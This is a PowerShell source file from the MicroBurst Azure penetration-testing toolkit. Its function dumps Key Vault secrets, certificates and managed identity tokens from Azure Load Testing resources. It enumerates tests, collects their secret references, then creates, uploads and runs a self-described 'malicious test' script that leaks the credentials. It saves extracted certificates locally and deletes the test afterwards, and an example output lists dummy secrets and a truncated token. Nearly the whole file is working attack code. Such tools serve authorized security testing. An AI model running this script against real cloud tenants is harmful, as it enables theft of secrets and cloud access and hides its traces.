Files
NetSPI-MicroBurst/Az/Get-AzLoadTestingData.ps1
Karl Fosaaen 79f476761f Added Load Testing Functionality
Added the Get-AzLoadTestingData function and the supporting files.
2025-07-01 12:57:52 -07:00

536 lines
27 KiB
PowerShell

<#
File: Get-AzLoadTestingData.ps1
Author: Karl Fosaaen (@kfosaaen), NetSPI - 2025
Description: PowerShell functions for dumping Key Vault Credentials and Managed Identity tokens from Azure Load Testing resources
#>
function Get-AzLoadTestingData{
<#
.SYNOPSIS
PowerShell function for dumping dumping Key Vault Credentials (Secrets and Certificates) and Managed Identity tokens from Azure Load Testing resources.
.DESCRIPTION
The function will dump Key Vault Credentials (Secrets and Certificates) and Managed Identity tokens from Azure Load Testing resources
.PARAMETER Subscription
Subscription to use.
.PARAMETER folder
The folder to output to.
.PARAMETER SaveTestFile
Boolean option to save the test files from the load testing service
.PARAMETER Type
Ability to select JMX or Locust type of test
.EXAMPLE
PS C:\> Get-AzLoadTestingData -Verbose -SaveTestFile $true
VERBOSE: Logged In as testaccount@example.com
VERBOSE: Dumping Load Testing Accounts from the "Testing Resources" Subscription
VERBOSE: 2 Load Testing Resources Enumerated
VERBOSE: 4 Tests enumerated for the notarealtestload resource
VERBOSE: Processing the "Test_3/11/2025_6:56:08 PM" test
VERBOSE: File saved locally to C:\notarealtestload-f36b661f-c97c-41ac-a695-8467c5e3146f-microburst.jmx
VERBOSE: Processing the "Local" test
VERBOSE: File saved locally to C:\notarealtestload-ca3011cf-ca1f-45a8-8e91-b151878ca00b-url_test.jmx
VERBOSE: Processing the "Test" test
VERBOSE: File saved locally to C:\notarealtestload-ec7c7079-6a25-4723-9aaa-a6c408bac059-additional.jmx
VERBOSE: Processing the "Test_3/11/2025_3:44:30 PM" test
VERBOSE: File saved locally to C:\notarealtestload-f36b661f-c97c-41ac-a695-8467c5e3103a-url_test.jmx
VERBOSE: 1 Secret(s) and 1 Certificate(s) gathered for extraction from the notarealtestload resource
VERBOSE: SystemAssigned Managed Identity associated with the notarealtestload resource
VERBOSE: Creating malicious test "microburst (e89daa9c-8ba1-4545-8171-5cf73b85965a)" for the notarealtestload resource
VERBOSE: Malicious test "microburst (e89daa9c-8ba1-4545-8171-5cf73b85965a)" created
VERBOSE: Malicious test file uploaded
VERBOSE: Waiting 15 seconds for file validation...
VERBOSE: Malicious test file validated
VERBOSE: Starting malicious test
VERBOSE: Waiting on test results...
VERBOSE: Current Status: PROVISIONING
VERBOSE: Waiting 30 seconds for test results...
[Truncated]
VERBOSE: Current Status: EXECUTING
VERBOSE: Waiting 30 seconds for test results...
VERBOSE: Test completed - Generating test results
VERBOSE: Getting test results
VERBOSE: Certificate saved locally to C:\testcert.pfx
VERBOSE: Test deleted
VERBOSE: Completed dumping of the notarealtestload resource
VERBOSE: No tests enumerated for the noIdentity resource
VERBOSE: Completed dumping of the "Testing Resources" Subscription
Type : Secret
Name : testsecret
Value : it'sasecret
Link : https://notarealvault.vault.azure.net/secrets/TestSecret/ca1c30f0112044a1ae9a89f4b6b2eed7
ManagedID : SystemAssigned
Type : Secret
Name : test2
Value : it'sanothersecret
Link : https://notarealvault.vault.azure.net/secrets/TestSecret2/042da8617f994f68b0c97fd1fdb63305
ManagedID : SystemAssigned
Type : Certificate
Name : testcertificate
Value : MIIKOAIBAzCCCfQGCSqGSIb3DQEHAaCCCeUE...
Link : https://notarealvault.vault.azure.net/certificates/testcertificate/f2e695f3156d49e4a3ebdb9f6c0a8a9d
ManagedID : SystemAssigned
Type : Variable
Name : ENV_VAR
Value : testvariable
Link : N/A
ManagedID : N/A
Type : Token
Name : https://management.azure.com/
Value : eyJ0.[TRUNCACTED].mlQ
Link : N/A
ManagedID : 81b94dca-a65e-489b-bf87-1bf17ff48dad
.LINK
https://learn.microsoft.com/en-us/rest/api/loadtesting/dataplane/load-test-run/create-or-update-test-run?view=rest-loadtesting-dataplane-2022-11-01&tabs=HTTP
.LINK
https://learn.microsoft.com/en-us/azure/load-testing/how-to-parameterize-load-tests?tabs=jmeter
.LINK
https://learn.microsoft.com/en-us/rest/api/loadtesting/dataplane/load-test-administration?view=rest-loadtesting-dataplane-2022-11-01
#>
<#
Unsupported Edge Cases:
* Multiple tests with different certificates
* Example: Test 1 uses Cert 1 - Test 2 uses Cert 2
* Current script logic will use the first available cert, but tests are limited to one cert per test
* Additional certs are logged with their KV URL and Managed ID type, the values just show as "Not Extracted"
* You will need to manually create additional tests to cover the additional certificates that you want to extract
* Multiple Managed Identities in use
* Both System Assigned and User Assigned identities attached to the resource
* Or multiple User Assigned identities attached
* The logic here gets way too complex and it's easier to manually create a test case to cover this
* Multiple Tests with Different User Assigned identities for each test
* Kind of falls into the above, but if one test uses UA-MI #1 and the other uses UA-MI #2, then the logic breaks in the script
* Again probably easier to manually create a test case to cover this
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false,
HelpMessage="Subscription to use.")]
[string]$Subscription = "",
[Parameter(Mandatory=$false,
HelpMessage="Save the test files to the local folder.")]
[bool]$SaveTestFile = $false,
[Parameter(Mandatory=$false,
HelpMessage="Folder to output to.")]
[string]$Folder = "",
[parameter(Mandatory=$false,
HelpMessage="Select a test file type - JMX or Locust.")]
[ValidateSet("JMX","Locust")]
[String]$Type = "JMX"
)
# Check to see if we're logged in
$LoginStatus = Get-AzContext
$accountName = ($LoginStatus.Account).Id
if ($LoginStatus.Account -eq $null){Write-Warning "No active login. Prompting for login."
try {Connect-AzAccount -ErrorAction Stop}
catch{Write-Warning "Login process failed."}
}
else{}
# Subscription name is technically required if one is not already set, list sub names if one is not provided "Get-AzSubscription"
if ($Subscription){
Select-AzSubscription -SubscriptionName $Subscription | Out-Null
}
else{
# List subscriptions, pipe out to gridview selection
$Subscriptions = Get-AzSubscription -WarningAction SilentlyContinue
$subChoice = $Subscriptions | Out-GridView -Title "Select One or More Subscriptions" -PassThru
foreach ($sub in $subChoice) {Get-AzLoadTestingData -Subscription $sub -folder $folder -SaveTestFile $SaveTestFile -Type $Type}
return
}
Write-Verbose "Logged In as $accountName"
# Check Folder Path
if ($folder -ne ""){
if(Test-Path $folder){}
else{New-Item -ItemType Directory $folder | Out-Null}
}
else{$folder = $PWD.Path}
# Stop the change warnings
Update-AzConfig -DisplayBreakingChangeWarning $false | Out-Null
#Get list of Load Testing Resources
Write-Verbose "Dumping Load Testing Accounts from the `"$((get-azcontext).Subscription.Name)`" Subscription"
$loadTesters = Get-AzLoad
Write-Verbose "`t$($loadTesters.Count) Load Testing Resources Enumerated"
# Create data table to house results
$TempTbl = New-Object System.Data.DataTable
$TempTbl.Columns.Add("Type") | Out-Null
$TempTbl.Columns.Add("Name") | Out-Null
$TempTbl.Columns.Add("Value") | Out-Null
$TempTbl.Columns.Add("Link") | Out-Null
$TempTbl.Columns.Add("ManagedID") | Out-Null
# Get the token - Fixed Secure String Casting here
$AccessToken = (Get-AzAccessToken -ResourceUrl "https://cnt-prod.loadtesting.azure.com/")
if ($AccessToken.Token -is [System.Security.SecureString]) {
$ssPtr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($AccessToken.Token)
try {
$token = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($ssPtr)
} finally {
[System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR($ssPtr)
}
}
else {
$token = $AccessToken.Token
}
# Iterate through the load tester resources
$loadTesters | ForEach-Object{
$currentLoadTester = $_.Name
$endpoint = $_.DataPlaneUri
# Get Test List
$testList = ((Invoke-WebRequest -Uri (-join("https://",$endpoint,"/tests?api-version=2022-11-01")) -Verbose:$false -Headers @{ Authorization ="Bearer $token"} -UseBasicParsing).content | ConvertFrom-Json).value
if($testList.Count -gt 0){
Write-Verbose "`t`t$($testList.Count) Test(s) enumerated for the $currentLoadTester resource"
# Secrets and Certs Lists
$newSecrets = @{}
$newCertificates = @{}
$testList | ForEach-Object{
$testIDfull = ((Invoke-WebRequest -Uri (-join("https://",$endpoint,"/tests/",$_.testId,"?api-version=2022-11-01")) -Verbose:$false -Headers @{ Authorization ="Bearer $token"}).content | ConvertFrom-Json)
$currentTestID = $_.testId
Write-Verbose "`t`t`tProcessing the `"$($testIDfull.displayName)`" test"
# For each test, get the JMX Url
$testIDinfo = $testIDfull.inputArtifacts.testScriptFileInfo
$urlList = $testIDinfo | select url,fileName
$secretList = $testIDfull | select secrets
$certList = $testIDfull | select certificate
$varList = ($testIDfull | select environmentVariables).environmentVariables
# Check the Managed Identities
if($testIDfull.keyvaultReferenceIdentityType -match "UserAssigned"){
$midType = $testIDfull.keyvaultReferenceIdentityId
}
else{$midType = $testIDfull.keyvaultReferenceIdentityType}
# For each URL, get the file and save it locally
if($SaveTestFile -eq $true){
$urlList | ForEach-Object{
Invoke-WebRequest -Uri $_.url -OutFile (-join($folder,"\",$currentLoadTester,"-",$currentTestID,"-",$_.fileName)) -Verbose:$false
Write-Verbose "`t`t`t`tFile saved locally to $((-join($folder,"\",$currentLoadTester,"-",$currentTestID,"-",$_.fileName)))"
}
}
# Get the Secret URLs from the test
$secretList | foreach {
$_.psobject.properties | foreach {
$_.value | foreach {
$_.psobject.properties | foreach {
if($null -ne $_.value.value){
try{
# Add Secret to the table
$TempTbl.Rows.Add("Secret",$_.name,"N/A",$_.value.value,$midType) | Out-Null
$newSecrets += @{$($_.name) = @{
value = $_.value.value
type = "AKV_SECRET_URI"
}
}
}
catch{}
}
}
}
}
}
# Get the Cert URLs from the test
$certlist | ForEach-Object {
if($null -ne $_.certificate.value){
try{
# Add Cert to the table
$TempTbl.Rows.Add("Certificate",$_.certificate.name,"Not Extracted",$_.certificate.value,$midType) | Out-Null
if($newCertificates.Count -lt 1){
$newCertificates += @{
name = $_.certificate.name
value = $_.certificate.value
type = "AKV_CERT_URI"
}
}
else{write-host -ForegroundColor Yellow "Edge Case - The $currentLoadTester resource has multiple certificates over multiple cases. You will need to manually create a malicious test for the certificate associated with the $currentTestID test."}
}
catch{}
}
}
# Get the Variable Values from the test
$varList | foreach {
$_.psobject.properties | foreach {
if($null -ne $_.value){
# Add Variable to the table
$TempTbl.Rows.Add("Variable",$_.name,$_.value,"N/A","N/A") | Out-Null
}
}
}
# Null out for the next loop
$secretList = $null
$certList = $null
$varList = $null
}
Write-Verbose "`t`t`t$($newSecrets.Count) Secret(s) and $($newCertificates.name.Count) Certificate(s) gathered for extraction from the $currentLoadTester resource"
# Reference for Identity Settings
$currentTestObject = (Invoke-AzRestMethod -Path (-join($_.Id,"?api-version=2022-12-01"))).Content | ConvertFrom-Json
# Check Managed Identity Assignment
if("None" -notmatch $currentTestObject.identity.type){
# Managed Identity Workflow
Write-Verbose "`t`t`t$($currentTestObject.identity.type) Managed Identity associated with the $currentLoadTester resource"
# If system assigned or user-assigned, go this route
if(($currentTestObject.identity.type -eq "SystemAssigned") -or ($currentTestObject.identity.type -eq "UserAssigned")){
# Create GUID and URL for the new test
$testGUID = $((New-Guid).Guid)
Write-Verbose "`t`t`tCreating malicious test `"microburst ($testGUID)`" for the $currentLoadTester resource"
$newTesturi = "https://$($endpoint)/tests/$($testGUID)?api-version=2024-12-01-preview"
# HTTP Headers
$headers = @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/merge-patch+json"
}
if($Type -eq "Locust"){
$newEnvVars += @{
LOCUST_USERS = "1"
LOCUST_SPAWN_RATE = "1"
LOCUST_RUN_TIME = "60"
LOCUST_HOST = ""
}
}
else{$newEnvVars = @{}}
# Set secrets and certs in this body
$body = @{
testId = "$testGUID"
description = ""
displayName = "microburst"
loadTestConfiguration = @{
engineInstances = 1
splitAllCSVs = $false
regionalLoadTestConfig = $null
}
kind = $Type
secrets = $null
certificate = $null
environmentVariables = $newEnvVars
passFailCriteria = @{
passFailMetrics = @{}
passFailServerMetrics = @{}
}
autoStopCriteria = @{
autoStopDisabled = $false
errorRate = 90
errorRateTimeWindowInSeconds = 60
}
subnetId = $null
publicIPDisabled = $false
keyvaultReferenceIdentityType = $($currentTestObject.identity.type)
keyvaultReferenceIdentityId = $null
metricsReferenceIdentityType = $($currentTestObject.identity.type)
metricsReferenceIdentityId = $null
engineBuiltinIdentityType = $($currentTestObject.identity.type)
engineBuiltinIdentityIds = $null
}
# Add new secrets and certs to the existing 'secrets' hashtable
if($newSecrets.Count -ge 1){$body['secrets'] += $newSecrets}
if($newCertificates.Count -ne 0){$body['certificate'] += $newCertificates}
# Convert to JSON after modifications
$jsonBody = $body | ConvertTo-Json -Depth 10
# Create the new test
Invoke-RestMethod -Uri $newTesturi -Method Patch -Headers $headers -Body $jsonBody -Verbose:$false | Out-Null
Write-Verbose "`t`t`t`tMalicious test `"microburst ($testGUID)`" created"
# Upload the Script file
if($Type -eq "JMX"){$newJMXuri = "https://$endpoint/tests/$testGUID/files/microburst.jmx?fileType=TEST_SCRIPT&api-version=2024-12-01-preview"}
else{$newJMXuri = "https://$endpoint/tests/$testGUID/files/microburst.py?fileType=TEST_SCRIPT&api-version=2024-12-01-preview"}
$headers = @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/octet-stream"
}
# Path to the test script file
if($Type -eq "JMX"){$filePath = "$PSScriptRoot\..\Misc\LoadTesting\microburst.jmx"}
else{$filePath = "$PSScriptRoot\..\Misc\LoadTesting\microburst.py"}
# Read file as a byte array
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
# Upload the file
Invoke-RestMethod -Uri $newJMXuri -Method Put -Headers $headers -Body $fileBytes -Verbose:$false | Out-Null
Write-Verbose "`t`t`t`tMalicious test file uploaded"
# Wait for the new test to validate
$newJMXstatusuri = "https://$endpoint/tests/$($testGUID)?api-version=2024-12-01-preview"
$headers = @{
"Authorization" = "Bearer $token"
}
while((Invoke-RestMethod -Uri $newJMXstatusuri -Verbose:$false -Method Get -Headers $headers).inputArtifacts.testScriptFileInfo.validationStatus -notmatch "VALIDATION_SUCCESS"){
Write-Verbose "`t`t`t`t`tWaiting 15 seconds for file validation..."
sleep -Seconds 15
}
Write-Verbose "`t`t`t`tMalicious test file validated"
# Run the Test
$body = @{
testId = "$testGUID"
displayName = "microburst"
secrets = $null
certificate = $null
environmentVariables = @{}
description = $null
loadTestConfiguration = @{
optionalLoadTestConfig = $null
}
debugLogsEnabled = $false
requestDataLevel = "NONE"
}
# Add new secrets and certs to the existing 'secrets' hashtable
if($newSecrets.Count -ge 1){$body['secrets'] += $newSecrets}
if($newCertificates.Count -eq 1){$body['certificate'] += $newCertificates}
$jsonBody = $body | ConvertTo-Json -Depth 10
$runGUID = $((New-Guid).Guid)
$headers = @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/merge-patch+json"
}
$runTesturi = "https://$endpoint/test-runs/$($runGUID)?api-version=2024-12-01-preview"
Invoke-RestMethod -Uri $runTesturi -Method Patch -Headers $headers -Body $jsonBody -Verbose:$false | Out-Null
Write-Verbose "`t`t`t`tStarting malicious test"
# Wait for results While(status -eq...)
Write-Verbose "`t`t`t`tWaiting on test results..."
# Wait for the test to be marked as "DONE"
$newJMXstatusuri = "https://$endpoint/test-runs/$($runGUID)?api-version=2024-12-01-preview"
$headers = @{
"Authorization" = "Bearer $token"
}
While((Invoke-RestMethod -Uri $newJMXstatusuri -Verbose:$false -Method Get -Headers $headers).status -notmatch "DONE"){
Write-Verbose "`t`t`t`t`tCurrent Status: $((Invoke-RestMethod -Uri $newJMXstatusuri -Verbose:$false -Method Get -Headers $headers).status)"
Write-Verbose "`t`t`t`t`t`t`t`tWaiting 30 seconds for test results..."
sleep -Seconds 30
}
# Get the Results file
$resultsURI = "https://$endpoint/test-runs/?testId=$($testGUID)&api-version=2024-12-01-preview"
$headers = @{
"Authorization" = "Bearer $token"
}
Write-Verbose "`t`t`t`t`tTest completed - Generating test results"
while ($null -eq $resultsFileURI){
$resultsFileURI = ((Invoke-RestMethod -Verbose:$false -Uri $resultsURI -Method Get -Headers $headers).value | where testRunId -Match $runGUID).testArtifacts.outputArtifacts.resultFileInfo.url
}
Write-Verbose "`t`t`t`tGetting test results"
# Download Zip file of requests
Invoke-WebRequest -Uri $resultsFileURI -OutFile $folder"\results.zip" -Verbose:$false | Out-Null
# Unzip the file
Expand-Archive $folder"\results.zip" -DestinationPath $folder"\results" | Out-Null
# Parse the CSV
$urlResults = (gc $folder"\results\engine1_results.csv" | ConvertFrom-Csv | select URL | where URL -NE "null" | sort -Unique).url
if($Type -eq "JMX"){$b64obj = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($urlResults.Split("?")[1].trimstart('token').trimstart('='))) | ConvertFrom-Json}
else{
Add-Type -AssemblyName System.Web
$decoded = [System.Web.HttpUtility]::UrlDecode($urlResults)
$b64obj = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($decoded.Split("?")[1].trimstart('token').trimstart('='))) | ConvertFrom-Json
}
# Put the tokens/secrets into the output
if($Type -eq "JMX"){$TempTbl.Rows.Add("Token",$($b64obj.token | ConvertFrom-Json).resource,$($b64obj.token | ConvertFrom-Json).access_token,"N/A",$($b64obj.token | ConvertFrom-Json).client_id) | Out-Null}
else{$TempTbl.Rows.Add("Token",$($b64obj.token.resource),$($b64obj.token.access_token),"N/A",$($b64obj.token.client_id)) | Out-Null }
# Parse the secrets from the env vars
ForEach($line in $b64obj.environment){
# Iterate the secret values
$TempTbl | ForEach-Object{
if($line -match $($_.Name)){
#$_.Value =($line.Split('=')[1..$($line.Split('=').length)] | Out-String)
$row = $TempTbl.Select("Name = '$($_.Name)'")
if ($row.Count -gt 0) {
$row[0].Value = ($line.Split('=')[1..$($line.Split('=').length)] | Out-String).Trim()
}
}
}
}
# If a cert, add it and save the pfx locally
if($b64obj.cert){
$row = $TempTbl.Select("Type = 'Certificate'")
if ($row.Count -gt 0) {
$row[0].Value = ($b64obj.cert | Out-String)
[IO.File]::WriteAllBytes("$folder\$($row.Name).pfx",[Convert]::FromBase64String($($b64obj.cert | Out-String)))
Write-Verbose "`t`t`t`t`tCertificate saved locally to $((-join("$folder\",$($row.Name),".pfx")))"
}
}
# Delete the local files
Remove-Item -Recurse $folder"\results"
Remove-Item $folder"\results.zip"
# Delete the test
$headers = @{
"Authorization" = "Bearer $token"
}
Invoke-RestMethod -Verbose:$false -Uri $newTesturi -Method Delete -Headers $headers | Out-Null
Write-Verbose "`t`t`t`tTest deleted"
}
elseif($currentTestObject.identity.type -eq "SystemAssigned, UserAssigned"){
# If both types of identities are in use, then test needs to be manually created
Write-Host -ForegroundColor Yellow "Edge Case - The $currentLoadTester resource has a System-Assigned Managed Identity and a User-Assigned Managed Identity associated. We don't expect to see this often, but the logic in our script isn't sophisticated enough to handle that scenario. You will need to manually create the test to exploit this one."
}
}
else{
Write-Verbose "`t`t`tNo Managed Identities associated with the $currentLoadTester resource"
}
Write-Verbose "`t`tCompleted dumping of the $currentLoadTester resource"
}
else{Write-Verbose "`t`tNo tests enumerated for the $currentLoadTester resource"}
}
# Output the Results Object
Write-Verbose "Completed dumping of the `"$((get-azcontext).Subscription.Name)`" Subscription"
$TempTbl
}